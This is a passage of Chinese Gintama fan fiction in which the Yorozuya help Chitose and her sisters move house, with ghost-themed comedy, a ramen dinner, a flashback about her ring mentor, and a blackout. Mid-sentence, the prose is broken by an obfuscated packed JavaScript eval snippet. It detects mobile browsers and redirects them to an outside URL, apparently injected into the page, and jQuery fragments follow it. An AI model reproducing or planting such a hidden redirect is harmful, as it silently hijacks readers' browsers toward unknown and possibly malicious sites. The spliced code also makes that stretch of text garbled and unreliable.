「喂喂喂!我可是还在这里呢!」银时终于忍不住打断了她们的对话,一脸气愤地说「什麽经营不当!我这不是很认真地在经营万事屋吗!」 「是是是。」神乐敷衍地摆摆手「那你先把上个月的工资结一下吧。」 银时的眉头抽动了一下,嘴角不自然地抽搐。 「要是这个捲毛大叔不是未来姐夫的话,那他是谁?该不会是姐姐的狗吧?」 「怎麽可能,姐姐才不会要这种没用的狗,他连薪水都发不出来。」 两个孩子你一句我一句地说着,要是她们真是普通的小女孩,银时或许还会多点耐心解释,但在他看来,这两个分明就是穿女装的小子在戏弄他。身为一个立派的大人,他觉得自己该让他们见识一下男人应有的对话方式。 「银桑你冷静一点,别被这两个小鬼牵着鼻子了…」新八抱着准备去揍人的银时,嘴上还还不忘劝说。 「你们这些小鬼!」银时挣扎着想要摆脱新八的束缚,但却被抱得更紧了。 千茶深知自家妹妹们的坏心眼,见时间已经不早,便转了个话题打圆场「好了,这位是万事屋的老闆银时先生,另外两位是新八君和小神乐,今天是来帮我们搬家的。」 说着,她又补充道「银时先生是大哥很重要的朋友,你们可不要对人家这麽失礼。」 「大哥」这两个字,对这两个孩子来说,彷彿有魔力,春和菊的眼睛瞬间亮了起来。 听到千茶提起大哥,两姐妹的态度立即改变了,他们乖巧地向银时鞠了个躬,异口同声地说「对不起,刚才是我们失礼了。」 「你们也变得太快了吧!」银时看着两个孩子的态度转变,顿时有些无所适从 「大哥的朋友就是我们的朋友!」小菊欢快地说,边拉着银时的衣袖。 小春也点点头表示同意,刚在的警惕彷彿不曾存在。 银时看了眼千茶,回想起浅井将辉那次带他们回外祖家时的情景——千茶也是这般热情地迎接他们,兴奋地拉着他的衣角问他叫什麽名字。 按理来说,这两个孩子应该从未见过这位大哥,这份崇拜想必是因为把他们带大的姐姐是个兄控。 兄控和妹控啊…倒真是一对相亲相爱的兄妹。 千茶没有注意到他的恍神,反而被地上的小盐堆吸引了注意力。 「银时先生,地上快洒满盐巴了。」 众人的视线也跟着落在地上的小盐堆上。 「啊,抱歉抱歉。」银时慌忙地把破掉的盐包收拾好,脸上有些尴尬,「我待会儿给你清理乾淨。」 「银时先生别这麽紧张,这里没有鬼。」千茶笑着说,但见银时脸色一变,又补充道「至少白天是没有的。」 银时听到这句话,身子不禁打了个冷颤,紧紧抱住剩下的盐包。新八见状无奈地摇摇头,看来又有一个S属性的角色要登场了。 由于电器要到傍晚才会送达,他们便先帮忙整理各人房间的物品。 银时本来是想去替年纪最小的小菊收拾,毕竟小孩子的东西一定不会比成年人多,可是在他要走进去的时候,却被千茶叫停了。 「银时先生,能请你过来帮我的忙吗?」 他看着几乎塞满房间的纸箱,果断地拒绝,他可是老闆,才不要干粗活。 「孤男寡女共处一室对女孩子的名声不太好,还是让神乐来…我就去帮小春。」银时正说着,却发现新八已经先一步去替菊整理房间,只好转向另一边。 看来他和下属们都抱着同一个想法:谁也不愿替东西最多的千茶收拾。 「喔…那你去吧。」千茶也没坚持,只是在他转身前幽幽说了句「可不要后悔喔。」 银时摆摆手,不以为意地走向春的房间「好了,神乐你过去帮茶茶吧。」 神乐失落地应了声,毕竟她和春刚才正聊得高兴。被迫中断对话的少女只好拖着脚步走向千茶的房间,千茶没急着进房间,而是跟着到春的房间前,饶有兴致地靠在门框旁,菊见状也跟了过来。 眼见委託人们都没有动手整理的意思,新八和神乐便停下手上的工作,走到他们身边。 银时推开了春的房间门「好,让我看看有什麽要...」话还没说完,他的脸色就变了。 房间的正中央,一个身穿红色和服,黑色齐肩短发的市松人形安静地坐在纸箱上,眼睛直勾勾地盯着门口。银时的身体瞬间僵硬,额头开始冒冷汗。 「这...这是什麽啊…」银时指着人偶,声音有些发抖「为什麽会有这种东西在这里!」 小春歪着头,上前抱起人偶,轻轻抚摸了一下它的头发「她是我最好的朋友喔,她叫小铃。每晚我们都会一起在被窝里聊天。」 银时听到这话,脸色更加苍白了。 「哈哈...这个玩笑一点也不好笑...」银时乾笑着后退,但身后的门框挡住了他的去路。 「不是玩笑喔!」小春皱皱眉「小铃是个很好的聆听者,但让她说话的话,声音就有点沙哑就是了。」 说着,春抱住人偶向他又走近了一步「银时先生要听听看吗?」 银时的脸已经完全失去血色,他颤抖着转向千茶,用几乎听不见的声音说「我想我还是去帮你收拾房间好了...」 千茶露出灿烂的笑容,一把关上房门,用全身的力量抵着门,让他无法打开。 「等等!你不能把我关在这里!」银时慌乱地拍打着房门,但千茶却充耳不闻。 小春一脸天真地向他走前了一步「银时先生,我还有很多像小铃一样的朋友,我给你介绍吧?」 「不、不用了…」 门外传来一阵哄笑声,神乐和新八都笑得前仰后合,连小菊也忍不住咯咯笑了起来。 银时的惨叫声持续了好一会,直到千茶终于大发慈悲地打开房门,才看见他蜷缩在角落,浑身发抖。 「我、我只是忽然觉得有点累,一点也不怕...」他试图掩饰自己的恐惧,但颤抖的声音出卖了他。 「小春从小就喜欢收集人偶,以前家里还有佣人的时候,她们都互相推託着不想替小春整理房间呢。银时先生不怕的话,那就太好了。」千茶一脸欣慰地说着,转身拉起神乐的手「我们走吧,小神乐。」 她经过时看了新八和菊一眼「那麽小菊的房间就拜託你了,新八君。」 银时打了个寒颤,快步追上两个女孩子。他挤进二人中间把她们分开,一把拉起千茶的手腕,飞快地跑进她的房间,立刻锁上了门。 「不是刚才还说孤男寡女共处一室不合适吗?」千茶轻笑着说,却也没有挣脱他拉着自己手腕的手。 「当我拜託你了。」银时瞪着那个把他关起来的抖S女,咬牙切齿地说。 门外的神乐撇了撇嘴,一脸嫌弃地看着门另一边的胆小鬼社长,转身去和小春收拾起房间来。 既然对方已经示弱了,千茶也没再为难他,还是放过了这个可怜的傢伙。她指了指几个纸箱。让他帮忙收拾书柜,自己则是开始整理衣服。 「放箱子的时候我已经按顺序整理过一遍,直接按着箱子的编号顺序拆开来放就可以了。」她说。 银时小心翼翼地打开第一个箱子,里面整齐地摆放着一排排的书籍。他开始按照顺序把书本放上书柜,但还是忍不住时不时往门口瞄一眼,生怕那个吓人的人偶会突然出现在门口。 千茶看着他这副模样,忍不住轻笑出声。 「你在害怕什麽?」千茶走到他身边,故意压低声音在他耳边说「难道你觉得小铃会从门缝里爬进来吗?」 「喂喂,别开这种玩笑!」银时抖了一下,手中的书差点掉在地上,「我才没有在害怕,只是...只是在好奇房间的装修而已。」 她点点头,很善解人意地没有拆穿他。 她的藏书种类繁多,头几箱都是些实用性的书籍,像是心理学、金融投资、食谱、剑术和兵法。 正当他在意外这个孩子是个正经人时,却开出了比前面多一倍的女星写真集、男性向和女性向的漫画、杂誌,还有一大堆R18的Galgame、乙游。 难怪她当时主动提出让他来帮忙,毕竟这种东西也不好让小孩子帮忙处理。 银时看着后面这几箱,陷入了沉默「这裏都是你哥哥的东西吗?」 千茶走过来瞥了一眼,摇摇头说「哥哥的东西我大部分都分给你们了,剩下的我嫌髒所以没碰。这些都是我自己买的。」 「原来兄控也会有嫌弃哥哥的年纪啊。」银时揶揄道。 「嘛,这种程度的东西,用紫外线照一下就看得出来了。」 紫外线灯能照出来的话,除了血以外,不就是… 银时抽了抽嘴角,他已经没闲心去深究她为何会收藏这麽多成人向的作品,他更在意的是… 「……你前段时间给我送的书,可没有那种用紫外线照得出来的东西吧。」 他说着,眉头紧皱,他可不想碰到那些会在黑暗中发光的可疑痕迹。 「放心吧,我和辰马先生一起检查过是没问题才送你们的。」她一边说着,一边把手上的衣服叠好放进衣柜里。 听完她的解释,他不禁松了一口气。虽然他和将辉都是男人,那些书的用途心照不宣,但被她一个小女生直白地说出来,反倒让人有种说不出的彆扭。 「话说...」银时一边整理着书架,一边随口跟她搭起话「你和辰马那傢伙是什麽时候变得这麽熟的?」 「几年前在打工的地方碰到,之后就一直保持联络了。」 「这样啊…」 「后来我想换份工作,又经常听小陆抱怨他整天泡在喝酒的地方。我们就想,与其让他把钱花在别人身上,倒不如花在我身上,于是我就去歌舞伎町找了现在的工作」千茶平淡地说着。 「原来这是你和那个剃刀副官的阴谋!」 「别说得这麽难听嘛,我们只是找了个双赢的方法而已。」 他想了想,凑到她旁边,压低了声音「其实当公关真的那麽好赚吗?」 这个问题他一直都很好奇,在酒吧街工作的人似乎都能赚到不少钱,但他从来不敢向阿妙打听这种私人问题,他可不想因为一时好奇而挨揍。 「老实说,工资跟以前的工作比起来并不算高,但收入比较稳定。而且客人偶尔会送些礼物,也能省下一部分生活开支。」她认真地和他分析着「怎麽,你也要来工作吗?能喝免费酒的角度来看,你还挺合适的。」 「要我应酬客人还是算了。」他摆摆手,想起以前在高天原和人妖酒吧打工的经历,他很肯定万事屋的工作更适合他。 虽然千茶的箱子数量不少,但由于裏面的东西都收纳得很整齐,拆箱整理的工作进行得相当顺利。等她把衣服都收拾好后,也走过去和银时一起整理书架。 银时看着一套系列单行本,手指轻轻扫过书嵴「少了第三册啊。」 千茶走过去看了一眼,回想了一下说「很久以前借给朋友了,后来他去了京都,我们就没再联络了。」 「这种事情很常见呢。」银时感叹道,继续整理着书架,眼睛偷偷瞄了她一眼「我们万事屋也接寻人委託的。」 「不用了,反正也不是什麽贵重的东西。他们现在也该有了新生活,没必要特意去打扰他们。」 银时听着总觉得有哪里怪怪的。 「等等,我不也有新生活了吗?但你不还是照样给我寄东西。」 「那是辰马先生先提起的,我还以为这个约定对你们来说很重要。」千茶回忆道。 「蛤?别把阿银和那个用下半身思考的男人相提并论。」 看见他一脸不满地反驳着,千茶顿觉好笑「但你不还是把东西都收下了吗?」 银时眨眨眼睛,轻哼了一声,接着小声嘀咕起来「还不是你们一直说什麽遗物,害我不好丢掉…」 「裏面有本护士服合集还是相当稀有的,在拍卖网站上都要卖到好几万日圆呢。」千茶说着,越过他开始整理箱子里的小物件。 「说实话,护士制服到底有什麽特别吸引人的地方呢?」千茶若有所思地问道「难道是因为男人到了晚年,能接触到的异性就只剩下帮自己插导尿管的护士了吗?」 「喂!你在说谁以后会孤独终老!」 千茶瞄了他一眼「我可是什麽都没说。」 - 三间房间整理好后,时间已近傍晚。客厅和厨房还剩下一些杂物,大家便一起动手收拾。 「已经不早了,我来叫外卖吧,你们想吃什麽?」千茶拿着一叠外卖单走到客厅问他们。 「我想吃拉麵!」小菊抢先道。 「我也想吃拉麵!」神乐也跟着喊。 千茶把拉麵店的外卖单递给了神乐,然后转过头看向另一边的两个孩子「小春和新八君要吃拉麵吗?不想吃的话可以另外点别家的。」 「我什麽都吃的,拉麵就可以了。」新八说。 春也点点头,两个人也凑了过去神乐旁边一起看菜单。 「这是请我们吃饭的意思对吧?」银时警惕地问道。 「是是是。」千茶略带嫌弃地看了一眼那个不靠谱的大人,但对方丝毫不在意,大概是早就习惯了这种目光。 得到答复后,银时立刻来了精神,一个箭步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940188|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲过去抢神乐手上的外卖单。 就正当他们抢着餐牌时,千茶的手机响起来了,是他们订购的电器刚好送到。 千茶跟春简单交代后,便下楼迎接送货员。 「姐姐说她要鳗鱼饭和大份的饺子,你们选好之后我就打过去下单。」春说。 浅井家经常点这家的外卖,所以春和菊很快就决定好餐点,没有加入抢餐牌的混战。 「酱油拉麵要点大份的!还要加叉烧!」神乐率先说道。 「神乐,虽然说是茶茶小姐请客,但还是别太贪心吧。」 「啧啧啧...新八你这就不懂了」 新八转过头,只见银时对他摇了摇食指,脸上挂着那副惯有的轻蔑表情。 「主人家特意点了菜单上最昂贵的餐点和小吃,这不就是在暗示我们不用客气,可以放开肚子点餐吗?这是待客之道,我们要是太过拘谨反而会让主人家觉得不自在呢。」 新八看着银时厚颜无耻的发言,一时语塞。 「没关係啦,新八。姐姐不差这点钱的!我要大份豚油拉麵,加叉烧和鸡蛋!」菊说道,也跟着点了大份的拉麵「春呢?」 「我要大份的天妇罗中华冷麵加鸡蛋和汽水。」 看见大家都点了大份拉麵,银时也心安理得地跟着下单「我要盐味拉麵,大份的,加叉烧和鸡蛋。再来一份炸鸡和啤酒。」 「喂!工作都还没完成呢,现在怎麽能喝酒!」新八看着这群毫不客气的人,主人自家的妹妹倒还好说,但那两个不要脸的同事实在太丢人了。 「我就喝一小罐而已,这点酒量怎麽可能醉呢,别那麽紧张啦。」银时漫不经心地说道「况且重活都已经做完了。」 「话是这样说…」 「你也快点下单吧,别光顾着说我们。」 「那…我要酱油拉麵就好了。」新八有些无奈地说道。 神乐听见他只点一碗普通的酱油拉麵,立即投来鄙夷的眼神,一边掏鼻孔一边俯视着他。 「每次丢脸的事都让我和小银来做,你就在那边装乖,最后还想坐享其成,我可不会把叉烧分给你。」 「眼镜架子就是眼镜架子。」银时也加入了批评的阵营,一脸恨铁不成钢地摇头「难得有人请客,你还在那边扭扭捏捏的,这样下去一辈子都只能当个路人配角!」 新八被他们说得受不了,最终还是败下阵来。 「好啦好啦,我点大份的酱油拉麵加叉烧就是了。」他认命地改变主意,心里暗暗感叹着为什麽自己总是被这两个人牵着鼻子走。 得逞的神乐和银时得意地交换了眼神,新八改变了主意,即是说他们的晚餐就各自多了一块叉烧。 天真的新八完全没察觉自己已经中了圈套,反而还在担心着千茶「大家点的都不少啊,茶茶小姐会不会觉得太贵了?」 「没关係,姐姐不在意的,她平常也总说我们正在长身体,吃多一点也无妨。」春说着,拿起手机准备打电话。 神乐听后立即露出羡慕的表情,毕竟他们坂田家的孩子可不常吃营养均衡的晚饭。 「真好呢…茶茶姐还需要妹妹吗?」 「阿银也想被茶茶姐姐收养!」银时举起手来附和道,一脸期待地看着春。 新八看不下去他们的厚脸皮,忍不住开口「神乐就算了,银桑你可是比茶茶小姐还大好几岁,难道一点成年人的羞耻心都没有吗?」 「説什麽呢银镜架子,你不也是个靠姐姐养的废物青年吗?」银时马上反驳他。 「那还不是你经常不给我发薪水!你还好意思説吗?」 春没有理会闹矛盾的万事屋,拿着手机和外卖纸便去了门外打电话。 既然春也不管,菊也决定任由他们继续吵架,自己去上了个厕所。 神乐一边看着银时和新八吵架,一边在一旁煽风点火,三个人很快就扭打成一团,互相毫不留情地揍起来。 「好痛...这是什麽?」新八一拳打在银时胸前的粗盐上。 听到他的痛呼,银时和神乐也停下动作,低头看着满地的盐巴,陷入沉思。 「茶茶姐真是的,说着不怕,最后还不是把盐巴撒遍整个客厅。」神乐说着,装作与自己无关,但她手臂上缠着的空塑料袋早已出卖了她。 「明明就是你们在这里打打闹闹,把盐巴洒得满地都是啊!」新八看着一地狼藉,崩溃地大叫道。 「说得那麽好听,什麽我们打闹时弄的,要不要看看你胸口挂着什麽?」神乐皱着眉反驳 他低下头,胸前绑着一包只剩三分之一、正在漏出的盐包。 银时用食指戳进盐包的破洞里,轻轻一扯,塑料包装就裂开了,里面的盐全都洒光了。 「银桑!你在干甚麽!」新八气愤地对着银时大喊,一边扯着他的衣领「你是故意的吧?想把责任推在我身上吗?你这个天然捲混蛋!」 「糟了,要是茶茶姐回来看到这样,以为我也有份弄髒,不肯收养我怎麽办?」神乐说着,像个悲剧女主角般跌坐在地上,彷彿背后打了一道聚光灯。 「凶手从一开始就是你!再说你在宇宙不是还有爸爸和哥哥吗,要被收养也轮不到你吧!」 「新八説得对,怎説应该也是我吧,阿银我可是孤儿历快三十年的人。」 「你们都给我住口!」新八忍无可忍地大吼「与其在这里争论谁该被收养,不如赶快把这些盐巴收拾乾淨!」 神乐和银时对视了一眼,儘管心里有些不服气,但还是不得不承认他说得对。 「说起来,我们为什麽会带着这麽多盐在身上?」神乐话音刚落,身后突然吹来一阵怪风,他们不约而同地打了个寒颤。 「窗户应该没有打开才对….」 新八环顾着空荡荡的屋子,总觉得气氛有些诡异,却又说不上来是哪里不对劲。 「奇怪,明明刚才小菊和小春都还在的…」 「啊啊啊!」银时立刻跳到神乐身后「我就说过要准备盐巴的!」 「别躲在我后面啊,你这个没用的大叔!」神乐嫌弃地喊着,同时也不自觉地往后退了几步。 「不、不要吓我啊……」新八的声音颤抖着,一边说一边后退。突然,他撞上了一个柔软的物体,吓得整个人弹跳起来。 「哇!」神乐和银时也被吓得大叫起来,三个人赶紧抱成一团。 「你们在这里做什麽?」春的声音从背后传来,万事屋三人听见熟悉的声音,这才找回一点理智。 「小春!你们去哪里了啊?」新八松了一口气。 「我刚才在门外打电话点外卖,小菊应该是去洗手间了吧。」春无奈地看着满地的盐巴「你们要解释一下刚才发生了什麽事吗?」 「呃……」三人面面相觑,谁也不愿意首先开口解释这满地的狼藉。 最后,道歉这种事还是落在新八身上。 「抱歉!我们马上就收拾乾淨!」 春看着三人手忙脚乱地用扫帚清理着地上的盐巴,轻轻摇了摇头。正当她想说些什麽时,千茶便回来了。 她轻轻看了三人一眼,没说什麽,便客气地领着工人到该放电器的位置。 工人们很快就开始了安装工作,万事屋则在一旁默默地清理着洒落的盐巴。他们一边打扫,一边偷瞄着千茶的表情,但她始终保持着平静的样子,偶尔和她对上视线时,还会给他们一个浅浅的微笑。 这倒让他们有些不寒而慄。 神乐偷偷地用手肘推了推银时,小声地说「小银,茶茶姐该不会是在生气吧?」 「你在说什麽傻话,」银时低声回应,但眼神也不安地飘向千茶的方向「她要是生气的话,早就把我们三个都轰出去了。」 话音刚落,工人那边突然传来一声惊呼,三人立即转头望去。原来是其中一个工人不小心撞倒了牆边的柜子,发出了巨大声响。 「你们没有弄伤吧?」千茶关切地问道。 工人连忙摇头说没事,但脸上还是挂着歉意。 「人没事就好」她柔声説着,转头看向还在收拾盐巴的三人「能麻烦你们帮忙扶一下柜子吗?」 「好、好的!」三人立即放下手中的工具,快步走向柜子。银时和新八一左一右,神乐则扶着中间,很快就把柜子扶正了。 千茶朝他们点点头,脸上依然是那副平静的表情。 电器安装完毕后,万事屋已经把客厅的盐巴清理乾淨,菊和春也把客厅的杂物收拾好,腾出了用餐的空间。 刚送走工人,门铃又响了起来,这次是送外卖的拉麵店老闆。 「好久不见了,天….茶茶小姐。」在看到裏面的万事屋时,老闆説到一半的话转了个弯。 千茶走到门口,接过了拉麵,并给了老闆一个温和的微笑「谢谢你特地送来,老闆。」 「我妻子听説你们搬了新家,特意给你们准备了些小食作贺,希望你们会喜欢吧。」 「替我向老闆娘道谢。」千茶説着,春走到她旁边,从姐姐手上接过那些外卖。 老闆从口袋里掏出账单递给她,千茶瞥了一眼,便从钱包取出一张大钞。 「以后还要劳烦您多多照顾,这些是一点小心意,抱歉没准备信封。」 「哎呀,这怎麽好意思!茶茶小姐实在太客气了。」虽然这麽说,但在千茶的坚持下,他还是收下了钱。 「这麽我明天也去茶茶小姐的店裏喝一杯。」 「嗯,那我们明天见了。」 银时在后面默默看着这一切,千茶这孩子确实很懂人情世故,难怪连阿妙也对她赞不绝口。 更让人在意的是,不管是店里的全新家电,还是刚才付款时的大方,都不像是个拮据家庭的消费态度。 他更加确信她的收入确实不菲。 看来又多了一个可以敲竹槓的对象呢。 送走老闆后,千茶和春一起把食物端到客厅,放在茶几正中央摆开。 香喷喷的拉麵摆在眼前,万事屋三人的目光立刻被吸引住了,眼里只剩下拉麵的存在。 神乐已经迫不及待地拿起筷子「我开动了。」 「你这麽快就吃啊!」新八惊呼道,但她已经开始大口吃起拉麵来了。 银时也没闲着,拿起筷子就开始和神乐抢着吃。 「喂喂,别把我的叉烧也吃掉啊!」 另一边的姐妹三人相处融洽,春把天妇罗炸虾分给千茶和小菊各一个,小菊见状也跟着分享,给姐妹俩各夹了一块叉烧。 千茶店的是鳗鱼饭,她细心地用筷子将鳗鱼切成三等分,分给两个妹妹各一份。 「喂,你们好歹也学学人家,不要老是抢东强西的。」新八看了看姐妹三人,又看了看自己的同僚们。 「新八,你再不吃的话,你的叉烧就要被神乐吃掉了。」银时含糊不清地说道,筷子已经伸向了新八碗里的叉烧。 「抢我叉烧的人分明是你吧!」新八气急败坏地护着自己的碗,但还是被银时和神乐同时伸出筷子偷走了叉烧。 6. 花子的活动范围可不止厕所 晚餐结束后,他们简单收拾好餐桌,打算稍作休息再继续整理剩馀的物品。一整天的劳动让大家都瘫软地靠在茶几旁,谁也不愿意动弹。 也许是坂田银时疑神疑鬼的错觉,他总觉得入夜后房子的温度下降了许多。 「喂,神乐。你觉不觉得冷。」银时摸了摸手臂,看向旁边同样穿着短袖的少女。 「谁叫你不好好穿衣服,非要露出一边袖子装帅。」神乐摇摇头,语气像个嫌弃青春期儿子穿着的老妈。 「就跟你说了这是我作为Jump主角的特色,不是故意在耍帅!」虽然他们已经讨论过一次这个话题,但被她在其他人面前指出,还是有些难为情。 「原来是故意耍帅才这样穿的啊…我还以为是方便拔剑呢…」千茶懒洋洋地支着脑袋说「说起来,白夜叉在战场上穿白色也是因为想显眼一点吗?」 「这个嘛……」银时抓了抓头发,一时语塞。他总不能承认当年选择白色羽织纯粹是因为觉得白色衬自己最好看,却又想不出什麽合理的藉口。 「我还以为是因为白色比较容易看出血迹,方便判断伤势。」新八倒是得出了一个合理的原因。 这种送上门的台阶,银时当然不会放过。 「对!就是这样!」 说起战斗服装,千茶也是偏爱白色。 最初带她踏入擂台的是一位绰号赤天狗的大叔。 那时她刚到屠宰场工作,因为年纪轻,场里的工人都觉得她撑不了多久,私底下还开赌盘猜她能做多久。当时只有一个人押她至少能撑得过三个月。 后来那个人赢了一大笔,还请她吃了一顿豪华的关东煮。 他是早期攘夷志士之一。当幕府进行肃清时,他的名字被列入名单中。为了保护家人,他选择假死脱身,躲进了附近的贫民窟。他在屠宰场找了份工作,晚上则靠参加黑市擂台赚钱,再以故友的身份将钱寄给妻儿。 在擂台上,他总是身着一袭红衣,戴着极具标誌性的高鼻天狗面具。但对于他亲自教导的千茶,他却为她挑选了另一种颜色。 「我希望你的灵魂永远都不会被这个肮髒的世俗玷汙。」 这就是白天狗之「白」所蕴含的意义。 那个人教会她很多事情,不只是如何在擂台上生存,更重要的是如何保持自己的初心。即使在最黑暗的地方,也要像那抹纯白一样,永远不失去光芒。 那个男人在擂台上的最后身影,依然是穿着那身红衣,胸口涌出的鲜血染红了地面。天狗面具落下的刹那,她第一次看见他脸上绽放出如此轻松的笑容。 「小天狗,记住…就算双手染满汙秽,心也要像你的衣裳一样保持纯淨。」那道声音虽然轻柔,却在往后无数个夜晚中迴盪在她的梦里。 那场擂台赛成就了白天狗往后战无不胜的传说,亲手弑师,取代赤天狗成为新一任的台柱。 「我还是觉得你穿白色纯粹是为了耍帅。」神乐突然开口,打断了千茶的回忆。 「我就説不是了,给我好好听人説话!」 温度或许真的降了些,菊接连打了几个喷嚏,千茶递给他一盒面纸,随后到菊的房间拿了件外套替他披上。 春端着热茶从厨房出来,在他们面前各自放了一杯「说起来好像真的变冷了呢。」 「谢谢。」他们接过茶杯,温暖的蒸气在空气中袅绕。银时捧着杯子,掌心传来的温度驱散了一点寒意。 这时,天花板上的灯泡忽然以让人不安的频率闪烁起来,忽明忽暗的光线在房间里跳动着。每一下都伴随着细微的电流声。 坂田银时心里顿时涌上一股不祥的预感。 果不其然,几秒后,整个房间顿时陷入伸手不见五指的黑。 「小银,我好像瞎了!」神乐的声音在寂静的房间里显得格外响亮。 「白痴,这是停电了!」银时喊回去。 「我刚才好像把手电筒放在电视柜了,我去找找。」新八回忆道,他站起身来,小心翼翼地摸索着往电视柜的方向。 神乐也是个坐不定的,她借着微弱的月光走到窗边,打开窗户探头往外看,整片住宅区的灯都熄着「看来整区都停电了。」 「找到了!」新八説着,众人眼前随即出现一道微弱的光线,但可惜那道光没维持一分钟就熄灭了。 「啊……好像也没电了。」新八无奈地用手电筒轻轻拍打着手掌,但电筒的光也没再亮起来。 「我房间有备用的电池,我去拿吧。」千茶説着正要起来,却突然感觉到手腕被什麽给缠上了。 当人处于紧张状态时,生理反应总是特别敏感。晚餐时,坂田银时不仅喝了一罐大啤酒,还把拉麵的汤也喝光了,现在膀胱的胀感让他感到十分不妙。 「这麽黑的房间,一个人走太危险了。反正我也想去厕所,就陪你一起去吧。」 他説得义正严词,可是大家都听得出,他明显是自己一个人不敢上厕所,让千茶陪他走一趟。 老实说,要是可以选择的话,他当然更希望陪在身边的是新八或神乐。但他们这时都走开了,一片漆黑中也很难找到他们。无奈之下,他只好抓住离自己最近的人。 她感受到那隻手在微微颤抖,虽然看不清他脸上的表情,但坂田银时怕鬼在这个房子裏已经是公开的秘密了。 浅井千茶从来都不否认自己是个坏心眼的。 于是,她重新坐下「那你上完厕所后顺便去我房间拿吧,你刚才也帮忙收拾过,应该记得位置。」 话毕,缠在手腕的束缚又收紧了一点。 银时吞了吞口水。要是现在拒绝,不就显得他像个胆小鬼吗? 他深吸了一口气,摸索着在黑暗中站起身。 「那我去去就回。」他故作镇定地说,颤抖着的手不情愿地松开。只不过踏出的第一步就撞上了茶几,发出一声闷响。 「痛痛痛!」银时弯下身子,揉着撞痛的小腿。 「银桑,你真的没问题吗?」新八有些担心地问道。 「当、当然没问题!」话刚说完,他就撞上了另一隻脚。 「算了,我陪你去吧。」千茶叹了口气「照你这样撞下去,怕是要撞死在我家里,到时可就真的变成新鲜的凶宅了。」 要是灯还亮着,他们定会看见银时脸上那抹得逞的坏笑。苦肉计虽然显得有点蠢,但胜在百试百灵。 千茶撑着茶几站起身,顺着他的声音找到他所在的位置。她小心地伸手探寻,先碰到了他的衣袖,接着顺势往上,最后稳稳地抓住了他的手臂。 她用空着的那隻手摸着牆壁,领着他往前走。失去视觉,剩馀的四感会变的更强烈,就想她现在能清晰感觉到银时手臂上的肌肉紧绷着,而他的脚步也随着接近目的地越发谨慎。 她故意捏了捏他的手臂,以确认这不是她的错觉。 「喂,别故意佔我便宜。」银时压低声音说道。 「这位客人看来很紧张呢。」她也跟着压低了声音。 「你可别误会了,阿银一点都不怕鬼,也不会因为被你这个〇知识全靠看漫画获得的小丫头碰两个下就心跳不已...我纯粹是有点内急而已。」银时嘴硬地辩解着,却不自觉地把手臂收得更紧了些。 千茶感觉到他的手臂肌肉又不自觉地抖了一下,不禁觉得好笑。这个人明明拥有着让人闻风丧胆的"白夜叉"之称,但本人却是个极其害怕鬼怪的。 「银时先生。」 「什麽?」 「你小时候该不会是那种在学校的预防注射日会躲进厕所里,死活不肯出来的小孩吧?」 「蛤?你这小鬼是在看不起谁?」 「那麽…你难道是那种听见要看牙医就浑身发抖,连续改了三次预约都不敢去,最后拖到蛀牙痛得受不了,哭着求医生插队看诊,结果被告知要等牙肉消肿才能处理,只好心灰意冷地回家跟蛀牙相依为命的类型吗?」 虽然非常不愿承认,但上述的情况的确曾经发生过。 「大人的事你少管!」 银时轻轻咂舌,暗想这人怎麽猜得如此准确。他赶紧转移话题,要是再让她继续说下去,没准连他小时候尿床或酒醉时的糗事都要被她猜个正着。 短短几步路在黑暗中竟变得格外漫长,他们摸索着走了一段,终于来到她的房间。她的房间是姊妹中最大的,是有独立卫浴的套房,她在柜边停下,让他先去厕所解决,自己则是留在这裏找电池。 「你千万不要一个人先回去!很危险的!」银时靠着门框,再三叮嘱道。 「知道了,我就在这里等你。」千茶伸手在柜子里摸索着电,厕所那边接二连三地传来一阵碰撞声和银时的小声咒骂。 「小心点,别弄得到处都是。」她在门外提醒道。 「知道了,知道了。」银时不耐烦地揉着撞痛的手肘,把门关上。 厕所里传来一阵窸窸窣窣的声音,随后是清晰的流水声。千茶没听人家解决的兴趣,拿到电池后,她也没在原处乾等,而是尝试到书桌那旁去摸自己正在充电的手机。 她打开手机的电筒功能照亮四周,然后靠着书桌开始搜寻停电相关的资讯。 马桶冲水声和水龙头的流水声先后响起,待水声停歇后,却传来一阵诡异的声响。 「银时先生,你没事吧?」她朝门的方向喊道。 门突然从里面猛地打开,银时凭着千茶手机的亮光看清了她的位置,急忙朝她跑过来,却一不留神地被地上的东西绊住,整个人失去平衡扑向她,冲力直接将她压在书桌上。 「抱、抱歉!」他慌忙想从她身上起来,手机的灯光被他压得死死,他没注意到自己手上还残留着洗手液的泡沫,撑在桌面的手掌一滑,反而使他的身体更贴近千茶。两人的呼吸在黑暗中交织,她清晰地听见他急促的心跳声。 「你别误会,我…」 「是、是、是…你先冷静下来。」千茶没有急着推开他,只是轻轻顺了顺他的后背。 「我、我没事。」银时深呼吸了几下,试图让自己的心跳平復下来。刚才他洗手洗到一半,想找抹手纸时,碰到了一个像婴儿手掌的东西,吓得他连手都没擦就冲了出来。 少女安抚般轻拍着他的背,直到他慌乱的心绪平静下来。 她身上有一股很好闻的香气,从在Smile时他就注意到了。那应该是苺果调的香水,清甜淡雅得像沐浴乳般自然,就算靠得很近也不会让人觉得腻。 不知不觉间,两人的呼吸节奏渐渐同步,那一瞬间他甚至怀疑自己是不是误闯进了某部青春喜剧里当临时演员。 但现实的情况没给他多想的机会,外面传来一阵脚步声,伴随着新八的叫喊「银桑?茶茶小姐?你们还好吗?」 银时手忙脚乱地想站直身子,免得被他看见这个暧昧的姿势,慌乱下差点又被再次绊倒。反观千茶倒是沉着,只是平静地拿起手机,再次用后置的闪光灯照亮空间。 「我们拿到电池了。」千茶朝着声音的方向喊道。新八的脚步声渐渐接近,手电筒的光束在走廊上摇晃「小春刚刚摸到了电视遥控,我们暂时用遥控的电池来顶替着。」 「那就好。」千茶朝他微微一笑,把找到的电池递给新八「这些应该也用得上。」 「嗯,那我们回客厅吧。」 